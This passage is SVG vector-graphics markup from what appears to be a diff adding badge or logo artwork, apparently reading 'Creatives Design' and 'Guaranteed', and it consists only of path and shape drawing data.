<path fill="#2B292A" d="M176.1,86.1c-0.5-1.1-1.1-2.2-1.9-3.2l-1.6,1.2c0.7,0.9,1.2,1.8,1.6,2.7L176.1,86.1z"/>
<path fill="#2B292A" d="M158.7,43c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L158.7,43z"/>
<path fill="#2B292A" d="M158,138.7c-0.9,0.4-1.9,0.8-2.8,1.3l0.9,1.8c0.9-0.4,1.7-0.8,2.6-1.2c0.2-0.1,0.3-0.1,0.5-0.2l-0.8-1.8
C158.2,138.6,158.1,138.6,158,138.7z"/>
<path fill="#2B292A" d="M152.8,39.8c-0.9-0.6-1.8-1.3-2.7-2l-1.3,1.5c0.9,0.8,1.9,1.5,2.8,2.1L152.8,39.8z"/>
<path fill="#2B292A" d="M140.4,154.8l1.8,0.9c0.5-1,1.1-2,1.7-2.9l-1.7-1.1C141.5,152.7,140.9,153.7,140.4,154.8z"/>
<path fill="#2B292A" d="M149.2,143.8l1.3,1.6c0.9-0.7,1.8-1.4,2.7-2l-1.1-1.7C151.1,142.4,150.2,143.1,149.2,143.8z"/>
<path fill="#2B292A" d="M165.7,58.2c-0.1,0.9-0.2,1.8-0.3,2.7l2,0.1c0-0.9,0.1-1.7,0.3-2.6c0-0.3,0.1-0.6,0.1-0.8l-2-0.2
C165.7,57.7,165.7,58,165.7,58.2z"/>
<path fill="#2B292A" d="M137.3,160.7l1.6,1.2c0.8-1,1.4-2,1.9-3.2l-1.8-0.8C138.5,158.9,137.9,159.8,137.3,160.7z"/>
<path fill="#2B292A" d="M167.6,54c-0.2-1.2-0.6-2.4-1.1-3.5l-1.8,0.8c0.4,1,0.8,2,0.9,3L167.6,54z"/>
<path fill="#2B292A" d="M167.5,74.9l1.9-0.7c-0.4-1-0.7-2.1-1-3.2l-1.9,0.5C166.7,72.6,167.1,73.8,167.5,74.9z"/>
<path fill="#2B292A" d="M163,48.6l1.6-1.3c-0.8-1-1.7-1.8-2.7-2.6l-1.2,1.6C161.5,47,162.3,47.8,163,48.6z"/>
<path fill="#2B292A" d="M175.2,91.8c0,0.5,0,0.9-0.1,1.4l2,0.2c0.1-0.5,0.1-1,0.1-1.6c0-0.7-0.1-1.4-0.2-2.1l-2,0.3
C175.2,90.5,175.2,91.1,175.2,91.8z"/>
<path fill="#2B292A" d="M43.5,29.7l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.6,1.2C42.3,31.7,42.9,30.7,43.5,29.7z"/>
<path fill="#2B292A" d="M45.2,26c0.3-0.8,0.8-1.6,1.3-2.4l-1.7-1.1c-0.6,0.9-1.1,1.8-1.5,2.7c-0.1,0.2-0.1,0.3-0.2,0.5l1.8,0.8
C45.1,26.3,45.2,26.1,45.2,26z"/>
<path fill="#2B292A" d="M39.4,35.5l-1.5-1.3c-0.7,0.8-1.5,1.7-2.3,2.4L37,38C37.8,37.2,38.7,36.3,39.4,35.5z"/>
<path fill="#2B292A" d="M50.6,19.8c0.2-0.1,0.4-0.2,0.7-0.4l-0.9-1.8c-0.3,0.1-0.5,0.3-0.8,0.4c-0.8,0.5-1.6,1-2.3,1.6l1.3,1.5
C49.2,20.7,49.9,20.2,50.6,19.8z"/>
<path fill="#2B292A" d="M57.4,18.1l0.1-2c-1.2-0.1-2.5,0-3.7,0.3l0.4,2C55.3,18.2,56.4,18.1,57.4,18.1z"/>
<path fill="#2B292A" d="M50.5,163.6l-1,1.7l0.2,0.1c1,0.6,2.1,1.1,3.2,1.4l0.6-1.9c-1-0.3-1.9-0.7-2.8-1.2L50.5,163.6z"/>
<path fill="#2B292A" d="M56.5,167.4c0.1,0,0.3,0,0.4,0c0.7,0,1.3,0,2-0.1c0.4-0.1,0.8-0.1,1.2-0.1l-0.2-2c-0.4,0-0.8,0.1-1.2,0.1
c-0.7,0.1-1.4,0.1-2.1,0.1L56.5,167.4z"/>
<path fill="#2B292A" d="M34.3,40.3L33,38.7c-0.9,0.7-1.8,1.3-2.8,1.9l1.1,1.7C32.4,41.7,33.3,41,34.3,40.3z"/>
<path fill="#2B292A" d="M19.1,52.6l-1.9-0.6c-0.4,1.2-0.6,2.4-0.7,3.6l2,0.1C18.6,54.6,18.8,53.6,19.1,52.6z"/>
<path fill="#2B292A" d="M26.3,44.9c0.6-0.3,1.3-0.5,1.9-0.8l-0.9-1.8c-0.6,0.3-1.2,0.5-1.8,0.8c-0.5,0.2-0.9,0.4-1.4,0.7l0.9,1.8
C25.5,45.2,25.9,45,26.3,44.9z"/>
<path fill="#2B292A" d="M64.4,18.5l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.1,2c0.8,0.1,1.7,0.1,2.5,0.1C63.7,18.6,64,18.6,64.4,18.5z"/>
<path fill="#2B292A" d="M18.8,66l-2-0.2c-0.1,1.1-0.3,2.2-0.5,3.3l2,0.4C18.5,68.4,18.7,67.2,18.8,66z"/>
<path fill="#2B292A" d="M22.5,47.3l-1.4-1.5c-0.9,0.8-1.7,1.8-2.4,2.8l1.7,1.1C21.1,48.8,21.8,48,22.5,47.3z"/>
<path fill="#2B292A" d="M105.3,168.7l0.9,1.8c1-0.5,2-1,3-1.4l-0.7-1.9C107.5,167.7,106.4,168.2,105.3,168.7z"/>
<path fill="#2B292A" d="M108.8,14.2c-1-0.4-2-0.9-3-1.4l-0.9,1.8c1,0.6,2.1,1.1,3.2,1.5L108.8,14.2z"/>
<path fill="#2B292A" d="M89.9,8.9l-0.4-2C88.3,7.1,87.1,7.5,86,8l0.8,1.8C87.8,9.4,88.8,9.1,89.9,8.9z"/>
<path fill="#2B292A" d="M96.8,7.4c-1.2-0.4-2.4-0.6-3.6-0.7l-0.1,2c1.1,0.1,2.1,0.3,3.1,0.6L96.8,7.4z"/>
<path fill="#2B292A" d="M115.2,16c-1.1-0.2-2.2-0.5-3.3-0.8l-0.6,1.9c1.1,0.3,2.3,0.6,3.5,0.8L115.2,16z"/>
<path fill="#2B292A" d="M63.4,167c1.1,0,2.2,0.1,3.3,0.2l0.2-2c-1.2-0.1-2.4-0.2-3.5-0.2L63.4,167z"/>
<path fill="#2B292A" d="M99.9,172.2c-0.1,0.1-0.3,0.2-0.4,0.3l1.2,1.6c0.2-0.1,0.3-0.3,0.5-0.4c0.7-0.6,1.5-1.1,2.2-1.6l-1.1-1.7
C101.4,171,100.6,171.6,99.9,172.2z"/>
<path fill="#2B292A" d="M112.5,168.1c1.1-0.3,2.2-0.5,3.3-0.7l-0.3-2c-1.2,0.2-2.3,0.4-3.5,0.8L112.5,168.1z"/>
<path fill="#2B292A" d="M93.5,174.8l0.2,2c1.2-0.1,2.4-0.4,3.6-0.9l-0.7-1.9C95.6,174.4,94.6,174.7,93.5,174.8z"/>
<path fill="#2B292A" d="M121.9,18.5l-0.1-2c-1.1,0-2.2,0-3.3-0.1l-0.2,2c0.9,0.1,1.7,0.1,2.6,0.1
C121.3,18.6,121.6,18.6,121.9,18.5z"/>
<path fill="#2B292A" d="M101.8,12.7l1.1-1.7c-0.6-0.4-1.2-0.9-1.8-1.3c-0.3-0.2-0.6-0.5-1-0.7L99,10.7c0.3,0.2,0.6,0.4,0.8,0.6
C100.5,11.8,101.2,12.3,101.8,12.7z"/>
<path fill="#2B292A" d="M78.1,15.2l-0.9-1.8c-1,0.5-2,0.9-3.1,1.3l0.7,1.9C75.9,16.2,77,15.7,78.1,15.2z"/>
<path fill="#2B292A" d="M70,167.7c1.1,0.2,2.2,0.5,3.2,0.9l0.6-1.9c-1.1-0.4-2.3-0.7-3.4-0.9L70,167.7z"/>
<path fill="#2B292A" d="M84.1,11.6L82.9,10c-0.9,0.7-1.8,1.3-2.8,1.9l1,1.7C82.2,12.9,83.2,12.3,84.1,11.6z"/>
<path fill="#2B292A" d="M71.4,17.6l-0.5-2c-1.1,0.3-2.2,0.5-3.3,0.6l0.3,2C69.1,18.1,70.3,17.9,71.4,17.6z"/>
<path fill="#2B292A" d="M91.2,32.5V20.9h-1.4c-0.6,2.6-4.5,20.1-9.4,25.6c0,0,4.4,5,4.8,10.3h13.8c0.4-5.3,4.8-10.3,4.8-10.3
c-4.9-5.5-8.8-23-9.4-25.6h-1.4v11.6c1,0.4,1.7,1.4,1.7,2.5c0,1.5-1.2,2.7-2.7,2.7c-1.5,0-2.7-1.2-2.7-2.7
C89.5,33.8,90.2,32.9,91.2,32.5z"/>
<rect x="83.6" y="59.1" fill="#2B292A" width="17" height="7.5"/>
<polygon fill="#2B292A" points="46,113.6 42.2,117.4 38.4,113.6 37.8,114.2 37.2,114.8 41,118.6 37.2,122.4 37.8,123 38.4,123.6
42.2,119.8 46,123.6 47.2,122.4 43.4,118.6 47.2,114.8 "/>
<polygon fill="#2B292A" points="138.3,113.6 137.1,114.8 140.9,118.6 137.1,122.4 138.3,123.6 142.1,119.8 145.9,123.6
146.5,123 147.1,122.4 143.4,118.6 147.1,114.8 146.5,114.2 145.9,113.6 142.1,117.4 "/>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 21 KiB

+451
View File
@@ -0,0 +1,451 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 207.8 188.4" enable-background="new 0 0 207.8 188.4" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-530.7" y="-297" display="inline" fill="#FFFFFF" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<path fill="#2B292A" d="M21.8-135l-1.8,0.9c0.4,0.8,0.9,1.6,1.5,2.3c0.2,0.2,0.3,0.4,0.5,0.7l1.6-1.2c-0.2-0.2-0.4-0.5-0.5-0.7
C22.6-133.6,22.1-134.3,21.8-135z"/>
<path fill="#2B292A" d="M25.5-129.3l-1.7,1c0.6,1,1.1,2,1.5,3l1.8-0.8C26.7-127.2,26.1-128.3,25.5-129.3z"/>
<path fill="#2B292A" d="M28.5-122.9l-1.9,0.6c0.4,1.1,0.7,2.1,0.9,3.2l2-0.4C29.2-120.6,28.8-121.8,28.5-122.9z"/>
<path fill="#2B292A" d="M28.8-159.5l-1.9-0.6c-0.3,1.1-0.7,2.1-1.1,3.1l1.9,0.8C28-157.2,28.4-158.4,28.8-159.5z"/>
<path fill="#2B292A" d="M22.2-147.2l-1.7-1c-0.6,1.1-1.1,2.2-1.5,3.4l1.9,0.6C21.2-145.3,21.6-146.3,22.2-147.2z"/>
<path fill="#2B292A" d="M26-153l-1.8-1c-0.5,1-1.1,1.9-1.8,2.8l1.7,1.1C24.8-150.9,25.5-151.9,26-153z"/>
<path fill="#2B292A" d="M18.7-137.6l2-0.4c-0.2-0.9-0.3-1.8-0.3-2.7c0-0.2,0-0.3,0-0.5l-2-0.1c0,0.2,0,0.3,0,0.5
C18.4-139.6,18.5-138.6,18.7-137.6z"/>
<g>
<g>
<path fill="#2B292A" d="M46-131.5c-1.1,0-2.1-0.1-3-0.4c-0.9-0.3-1.6-0.7-2.1-1.2s-1-1.1-1.4-1.9s-0.6-1.5-0.7-2.4
c-0.1-0.8-0.2-1.8-0.2-2.9v-9c0-1.1,0.1-2.1,0.2-3c0.1-0.9,0.4-1.7,0.7-2.4c0.3-0.7,0.8-1.4,1.4-1.8c0.6-0.5,1.3-0.9,2.1-1.1
c0.8-0.3,1.8-0.4,3-0.4c1.3,0,2.4,0.2,3.3,0.5c0.9,0.3,1.6,0.8,2.2,1.5c0.5,0.7,0.9,1.4,1.2,2.3c0.2,0.9,0.4,1.9,0.4,3.1v2.2
h-4.6v-2.2c0-1.3-0.1-2.2-0.2-2.6c-0.3-0.9-0.9-1.3-2-1.4c-0.1,0-0.2,0-0.3,0c-0.4,0-0.7,0-1,0.1c-0.3,0.1-0.5,0.2-0.7,0.4
c-0.2,0.2-0.3,0.4-0.5,0.6c-0.1,0.2-0.2,0.5-0.3,0.9c-0.1,0.4-0.1,0.7-0.1,1c0,0.3,0,0.7,0,1.2v11c0,1.5,0.2,2.6,0.6,3.3
c0.4,0.6,1.1,1,2,1c0.3,0,0.6,0,0.9-0.1c0.3-0.1,0.5-0.2,0.6-0.3c0.2-0.1,0.3-0.3,0.4-0.5c0.1-0.2,0.2-0.4,0.3-0.6
s0.1-0.5,0.1-0.8c0-0.3,0-0.6,0.1-0.9c0-0.2,0-0.6,0-1v-2.3H53v2.1c0,1-0.1,1.8-0.2,2.6s-0.4,1.5-0.7,2.2
c-0.3,0.7-0.8,1.2-1.3,1.7s-1.2,0.8-2,1.1C48-131.6,47.1-131.5,46-131.5z"/>
<path fill="#2B292A" d="M56.3-131.8v-25.9h5.9c1.4,0,2.5,0.1,3.5,0.3c1,0.2,1.8,0.6,2.6,1.1s1.3,1.2,1.6,2.1
c0.4,0.9,0.5,2,0.5,3.3c0,1.6-0.2,3-0.7,4c-0.5,1-1.3,1.8-2.4,2.3l3.6,12.8h-4.7l-3.1-11.8H61v11.8H56.3z M61-146.7h1.1
c1.4,0,2.4-0.3,3-0.9s0.9-1.6,0.9-3c0-1.4-0.3-2.4-0.8-3c-0.5-0.6-1.4-0.9-2.8-0.9H61V-146.7z"/>
<path fill="#2B292A" d="M74.1-131.8v-25.9h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6H85v3.3H74.1z"/>
<path fill="#2B292A" d="M86.4-131.8l5.3-25.9h4.9l5.3,25.9h-4.4l-1-6h-4.5l-1.1,6H86.4z M92.4-140.9h3.5l-1.7-10.6L92.4-140.9z"
/>
<path fill="#2B292A" d="M106-131.8v-22.4h-4.3v-3.5h13.3v3.5h-4.2v22.4H106z"/>
<path fill="#2B292A" d="M117.1-131.8v-25.9h4.7v25.9H117.1z"/>
<path fill="#2B292A" d="M129.8-131.8l-5.3-25.9h4.2l3.4,18l3.2-18h4.3l-5.3,25.9H129.8z"/>
<path fill="#2B292A" d="M142.3-131.8v-25.9h10.9v3.3h-6.1v7.4h4.8v3.3h-4.8v8.6h6.2v3.3H142.3z"/>
<path fill="#2B292A" d="M162.5-131.5c-4.6,0-7-2.6-7.2-7.9l4.1-0.9c0.1,3.4,1.1,5.1,2.9,5.1c0.7,0,1.3-0.2,1.6-0.7
c0.3-0.4,0.5-1,0.5-1.8c0-0.7-0.1-1.4-0.4-2c-0.3-0.6-0.6-1.1-0.9-1.5c-0.3-0.4-0.8-0.9-1.5-1.4l-3.4-3c-1-0.9-1.7-1.8-2.2-2.7
c-0.5-0.9-0.7-2.1-0.7-3.5c0-2,0.6-3.6,1.8-4.7c1.2-1.1,2.8-1.7,4.9-1.7c0.9,0,1.8,0.1,2.5,0.4c0.7,0.2,1.3,0.6,1.8,1
c0.5,0.4,0.9,0.9,1.2,1.5s0.6,1.3,0.7,1.9s0.3,1.4,0.3,2.2l-4,0.8c0-0.5-0.1-1-0.1-1.4c0-0.4-0.1-0.8-0.2-1.2
c-0.1-0.4-0.3-0.7-0.4-1s-0.4-0.4-0.7-0.6s-0.7-0.2-1.1-0.2c-0.7,0-1.2,0.3-1.6,0.7c-0.4,0.4-0.6,1-0.6,1.7
c0,0.8,0.2,1.5,0.5,2.1c0.3,0.5,0.8,1.1,1.5,1.7l3.4,2.9c0.6,0.5,1.1,1,1.5,1.5s0.8,1,1.2,1.6c0.4,0.6,0.7,1.3,0.9,2
s0.3,1.5,0.3,2.3c0,1.9-0.6,3.4-1.8,4.6C166-132.1,164.5-131.5,162.5-131.5z"/>
</g>
<g>
<path fill="#2B292A" d="M66-101.3v-22.2h5.2c1.3,0,2.5,0.1,3.4,0.4c0.9,0.3,1.6,0.7,2.2,1.3c0.5,0.6,0.9,1.3,1.2,2.1
c0.2,0.8,0.3,1.9,0.3,3.1v8c0,1.3-0.1,2.3-0.3,3.2s-0.6,1.6-1.1,2.3c-0.5,0.6-1.2,1.1-2.1,1.4c-0.9,0.3-2,0.4-3.3,0.4H66z
M70.1-104.2h1.2c0.4,0,0.8,0,1.1-0.1c0.3-0.1,0.6-0.2,0.8-0.3c0.2-0.1,0.4-0.3,0.5-0.5s0.2-0.4,0.3-0.6
c0.1-0.2,0.1-0.5,0.2-0.9c0-0.4,0.1-0.7,0.1-1c0-0.3,0-0.7,0-1.2v-8.1c0-0.5,0-1,0-1.3c0-0.3-0.1-0.6-0.1-1
c-0.1-0.3-0.2-0.6-0.3-0.8c-0.1-0.2-0.3-0.3-0.5-0.5c-0.2-0.1-0.5-0.3-0.8-0.3c-0.3-0.1-0.7-0.1-1.2-0.1h-1.1V-104.2z"/>
<path fill="#2B292A" d="M81.2-101.3v-22.2h9.3v2.9h-5.3v6.4h4.2v2.9h-4.2v7.3h5.3v2.8H81.2z"/>
<path fill="#2B292A" d="M98.6-101c-3.9,0-6-2.3-6.2-6.8l3.5-0.7c0.1,2.9,0.9,4.4,2.5,4.4c0.6,0,1.1-0.2,1.4-0.6
c0.3-0.4,0.4-0.9,0.4-1.5c0-0.6-0.1-1.2-0.3-1.7c-0.2-0.5-0.5-0.9-0.8-1.3s-0.7-0.7-1.3-1.2l-2.9-2.5c-0.9-0.8-1.5-1.5-1.9-2.3
c-0.4-0.8-0.6-1.8-0.6-3c0-1.7,0.5-3.1,1.5-4c1-1,2.4-1.4,4.2-1.5c0.8,0,1.5,0.1,2.2,0.3c0.6,0.2,1.1,0.5,1.5,0.8
c0.4,0.4,0.7,0.8,1,1.3c0.3,0.5,0.5,1.1,0.6,1.6c0.1,0.6,0.2,1.2,0.3,1.9l-3.5,0.7c0-0.4,0-0.8-0.1-1.2s-0.1-0.7-0.2-1
c-0.1-0.3-0.2-0.6-0.4-0.8c-0.2-0.2-0.4-0.4-0.6-0.5c-0.3-0.1-0.6-0.2-0.9-0.1c-0.6,0-1.1,0.2-1.4,0.6s-0.5,0.8-0.5,1.5
c0,0.7,0.1,1.3,0.4,1.8c0.3,0.5,0.7,1,1.3,1.5l2.9,2.5c0.5,0.4,0.9,0.9,1.3,1.3c0.4,0.4,0.7,0.9,1,1.4c0.3,0.5,0.6,1.1,0.7,1.7
s0.3,1.3,0.3,2c0,1.6-0.5,2.9-1.5,3.9C101.6-101.5,100.2-101,98.6-101z"/>
<path fill="#2B292A" d="M106.6-101.3v-22.2h4v22.2H106.6z"/>
<path fill="#2B292A" d="M119.6-101c-2.1,0-3.6-0.7-4.5-2s-1.4-3.2-1.4-5.7v-7.2c0-1.3,0.1-2.4,0.3-3.3c0.2-0.9,0.5-1.7,1-2.4
c0.5-0.7,1.1-1.2,2-1.6c0.8-0.3,1.9-0.5,3.1-0.5c2.2,0,3.8,0.5,4.7,1.6c1,1.1,1.4,2.7,1.4,4.9v1.1h-3.9v-1.2c0-0.5,0-0.9,0-1.2
c0-0.3-0.1-0.6-0.2-0.9c-0.1-0.3-0.2-0.6-0.4-0.7s-0.4-0.3-0.7-0.4c-0.3-0.1-0.6-0.2-1-0.2c-0.3,0-0.6,0-0.8,0.1
c-0.2,0.1-0.4,0.2-0.6,0.3c-0.2,0.1-0.3,0.3-0.4,0.5c-0.1,0.2-0.2,0.4-0.3,0.6c-0.1,0.2-0.1,0.4-0.1,0.7c0,0.3-0.1,0.6-0.1,0.8
c0,0.2,0,0.5,0,0.9v9c0,1.3,0.2,2.3,0.5,2.9c0.3,0.6,1,0.9,1.9,0.9c0.5,0,0.9-0.1,1.2-0.3c0.3-0.2,0.6-0.5,0.8-0.8
s0.3-0.8,0.4-1.3s0.1-1.1,0.1-1.7v-1.8h-2.4v-2.6h6.1v11.3h-2.6l-0.3-2.3C122.7-101.9,121.4-101,119.6-101z"/>
<path fill="#2B292A" d="M129.4-101.3v-22.2h2.8l5.4,12.6v-12.6h3.4v22.2h-2.7l-5.5-13.2v13.2H129.4z"/>
</g>
<g>
<g>
<g>
<path fill="#2B292A" d="M64.9-190.3v1.2h-4.3v2.2h3.9v1.2h-3.9v2.2H65v1.2h-5.8v-7.9H64.9z"/>
<path fill="#2B292A" d="M69.2-189.1c-0.8,0-1.3,0.3-1.3,0.8c0,1.7,4.3,0.8,4.3,3.7c0,1.4-1.2,2.3-3,2.3
c-1.2,0-2.4-0.5-3.2-1.3l0.6-1.2c0.8,0.7,1.8,1.2,2.7,1.2c0.9,0,1.5-0.4,1.5-1c0-1.8-4.3-0.8-4.3-3.6c0-1.4,1.2-2.2,2.9-2.2
c1,0,2,0.3,2.8,0.8l-0.6,1.2C70.6-188.8,69.8-189.1,69.2-189.1z"/>
<path fill="#2B292A" d="M79.1-190.3v1.2h-2.5v6.7h-1.3v-6.7h-2.5v-1.2H79.1z"/>
<path fill="#2B292A" d="M80.5-183c0,0.4-0.3,0.8-0.7,0.8c-0.4,0-0.7-0.3-0.7-0.8c0-0.4,0.3-0.7,0.7-0.7
C80.2-183.7,80.5-183.4,80.5-183z"/>
</g>
</g>
<g>
<g>
<path fill="#2B292A" d="M125.1-190.3v7.9h-1.3v-6.7h-1.7v-1.2H125.1z"/>
<path fill="#2B292A" d="M130.8-183.4c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
C129.5-183.6,130.2-183.4,130.8-183.4z M129.5-187.7c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
C130.2-189.2,129.5-188.6,129.5-187.7z"/>
<path fill="#2B292A" d="M137.8-183.4c1.5,0,2.2-1.2,2.2-2.9c-0.4,0.7-1.2,1.1-2.2,1.1c-1.6,0-2.5-1-2.5-2.5
c0-1.6,1.1-2.7,2.8-2.7c2,0,3.2,1.4,3.2,3.9c0,2.5-1.3,4.2-3.4,4.2c-0.8,0-1.7-0.2-2.4-0.6l0.5-1
C136.5-183.6,137.2-183.4,137.8-183.4z M136.5-187.7c0,0.9,0.6,1.5,1.5,1.5c1.1,0,1.7-0.7,1.7-1.5c0-0.7-0.5-1.5-1.6-1.5
C137.2-189.2,136.5-188.6,136.5-187.7z"/>
<path fill="#2B292A" d="M148.4-190.3v1l-3.3,6.9h-1.4l3.3-6.7h-3.4l0,1.1h-1.2v-2.3H148.4z"/>
</g>
</g>
</g>
<g>
<path fill="#2B292A" d="M68.9-86.5H70v3c-0.8,0.6-2,1-3.1,1c-2.4,0-4.2-1.8-4.2-4.1s1.9-4.1,4.3-4.1c1.2,0,2.3,0.4,3.1,1.1
l-0.8,1c-0.6-0.6-1.5-0.9-2.3-0.9c-1.6,0-2.9,1.3-2.9,2.9c0,1.6,1.3,2.9,3,2.9c0.6,0,1.3-0.2,1.9-0.6V-86.5z"/>
<path fill="#2B292A" d="M75.3-83.7c1.3,0,2.1-0.8,2.1-2.2v-4.7h1.4v4.7c0,2.1-1.3,3.4-3.5,3.4c-2.2,0-3.5-1.3-3.5-3.4v-4.7h1.4
v4.7C73.2-84.5,74-83.7,75.3-83.7z"/>
<path fill="#2B292A" d="M85.8-84.3h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L85.8-84.3z M85.2-85.5l-1.5-3.6l-1.5,3.6H85.2z
"/>
<path fill="#2B292A" d="M94.2-82.5L92.7-85c-0.1,0-0.2,0-0.4,0h-1.9v2.4h-1.4v-8.1h3.3c2.1,0,3.3,1,3.3,2.8
c0,1.3-0.6,2.2-1.7,2.6l1.8,2.7H94.2z M92.3-86.2c1.2,0,2-0.5,2-1.6c0-1.1-0.7-1.6-2-1.6h-1.9v3.2H92.3z"/>
<path fill="#2B292A" d="M102.6-84.3h-4.1l-0.8,1.8h-1.4l3.6-8.1h1.4l3.5,8.1h-1.5L102.6-84.3z M102.1-85.5l-1.5-3.6L99-85.5
H102.1z"/>
<path fill="#2B292A" d="M107.2-90.6l4.3,5.8v-5.8h1.3v8.1h-1.3l-4.3-5.8v5.8h-1.4v-8.1H107.2z"/>
<path fill="#2B292A" d="M120.5-90.6v1.2H118v6.9h-1.4v-6.9h-2.5v-1.2H120.5z"/>
<path fill="#2B292A" d="M127.5-90.6v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H127.5z"/>
<path fill="#2B292A" d="M135-90.6v1.2h-4.4v2.2h3.9v1.2h-3.9v2.2h4.5v1.2h-5.9v-8.1H135z"/>
<path fill="#2B292A" d="M144.3-86.6c0,2.3-1.8,4-4.2,4h-3.3v-8.1h3.3C142.6-90.6,144.3-88.9,144.3-86.6z M142.9-86.5
c0-1.6-1.2-2.8-2.8-2.8h-1.9v5.6h2C141.7-83.7,142.9-84.9,142.9-86.5z"/>
</g>
<path fill="#2B292A" d="M21.6-108.3c-0.6,4.7,0.3,9.3,2.6,13.4c2.4,4.1,5.9,7.2,10.3,9c6.4,2.6,11.6,7.8,14.3,14.3
c1.8,4.4,4.9,7.9,9,10.3c4.1,2.4,8.7,3.3,13.4,2.6c6.9-1,14,0.9,19.5,5.2c3.7,2.9,8.2,4.4,12.9,4.4c4.7,0,9.2-1.5,12.9-4.4
c5.5-4.3,12.6-6.2,19.5-5.2c4.7,0.6,9.3-0.3,13.4-2.6c4.1-2.4,7.2-5.9,9-10.3c2.6-6.4,7.8-11.6,14.3-14.3c4.4-1.8,7.9-4.9,10.3-9
c2.4-4.1,3.3-8.7,2.6-13.4c-1-6.9,0.9-14,5.2-19.5c2.9-3.7,4.4-8.2,4.4-12.9c0-4.7-1.5-9.2-4.4-12.9c-4.3-5.5-6.2-12.6-5.2-19.5
c0.6-4.7-0.3-9.3-2.6-13.4c-2.4-4.1-5.9-7.2-10.3-9c-6.4-2.6-11.6-7.8-14.3-14.3c-1.8-4.4-4.9-7.9-9-10.3
c-4.1-2.4-8.7-3.3-13.4-2.6c-6.9,1-14-0.9-19.5-5.2c-3.7-2.9-8.2-4.4-12.9-4.4c-4.7,0-9.2,1.5-12.9,4.4
c-5.5,4.3-12.6,6.2-19.5,5.2c-4.7-0.6-9.3,0.3-13.4,2.6c-4.1,2.4-7.2,5.9-9,10.3c-2.6,6.4-7.8,11.6-14.3,14.3
c-4.4,1.8-7.9,4.9-10.3,9c-2.4,4.1-3.3,8.7-2.6,13.4c1,6.9-0.9,14-5.2,19.5c-2.9,3.7-4.4,8.2-4.4,12.9c0,4.7,1.5,9.2,4.4,12.9
C20.7-122.3,22.6-115.2,21.6-108.3z M25-173.6c-0.5-3.9,0.2-7.8,2.2-11.2c2-3.4,4.9-6,8.6-7.5c7.3-3,13.2-8.9,16.2-16.2
c1.5-3.6,4.1-6.6,7.5-8.6c3.4-2,7.3-2.7,11.2-2.2c7.8,1.1,15.8-1.1,22.1-5.9c3.1-2.4,6.8-3.7,10.8-3.7s7.7,1.3,10.8,3.7
c6.2,4.8,14.3,7,22.1,5.9c3.9-0.5,7.8,0.2,11.2,2.2c3.4,2,6,4.9,7.5,8.6c3,7.3,8.9,13.2,16.2,16.2c3.6,1.5,6.6,4.1,8.6,7.5
c2,3.4,2.7,7.3,2.2,11.2c-1.1,7.8,1.1,15.8,5.9,22.1c2.4,3.1,3.7,6.8,3.7,10.8c0,3.9-1.3,7.7-3.7,10.8c-4.8,6.2-7,14.3-5.9,22.1
c0.5,3.9-0.2,7.8-2.2,11.2c-2,3.4-4.9,6-8.6,7.5c-7.3,3-13.2,8.9-16.2,16.2c-1.5,3.6-4.1,6.6-7.5,8.6c-3.4,2-7.3,2.7-11.2,2.2
c-7.8-1.1-15.8,1.1-22.1,5.9c-3.1,2.4-6.8,3.7-10.8,3.7s-7.7-1.3-10.8-3.7c-5.2-4-11.6-6.2-18.1-6.2c-1.3,0-2.7,0.1-4,0.3
c-3.9,0.5-7.8-0.2-11.2-2.2c-3.4-2-6-4.9-7.5-8.6c-3-7.3-8.9-13.2-16.2-16.2c-3.6-1.5-6.6-4.1-8.6-7.5c-2-3.4-2.7-7.3-2.2-11.2
c1.1-7.8-1.1-15.8-5.9-22.1c-2.4-3.1-3.7-6.8-3.7-10.8c0-3.9,1.3-7.7,3.7-10.8C23.9-157.7,26.1-165.8,25-173.6z"/>
<path fill="#2B292A" d="M130.3-67.4l0.1,2c1.1-0.1,2.2-0.1,3.3,0l0.1-2C132.6-67.5,131.4-67.5,130.3-67.4z"/>
<path fill="#2B292A" d="M137-214.2c1-0.1,2-0.2,3-0.1l0.2-2c-1.1-0.1-2.3-0.1-3.5,0.1l-0.2,0l0.3,2L137-214.2z"/>
<path fill="#2B292A" d="M30.3-112.4c0-1.2-0.1-2.4-0.2-3.5l-2,0.2c0.1,1.1,0.2,2.2,0.2,3.3L30.3-112.4z"/>
<path fill="#2B292A" d="M159-196.9c-0.8-0.8-1.5-1.6-2.2-2.5l-1.6,1.2c0.7,0.9,1.5,1.8,2.3,2.7L159-196.9z"/>
<path fill="#2B292A" d="M137.3-67.1l-0.2,2c0.6,0.1,1.1,0.1,1.7,0.1c0.7,0,1.3,0,2-0.1l-0.3-2C139.4-67,138.4-67,137.3-67.1z"/>
<path fill="#2B292A" d="M153.2-201.1l1.7-1.1c-0.6-0.9-1.1-1.9-1.6-2.9l-1.8,0.9C152-203.1,152.6-202.1,153.2-201.1z"/>
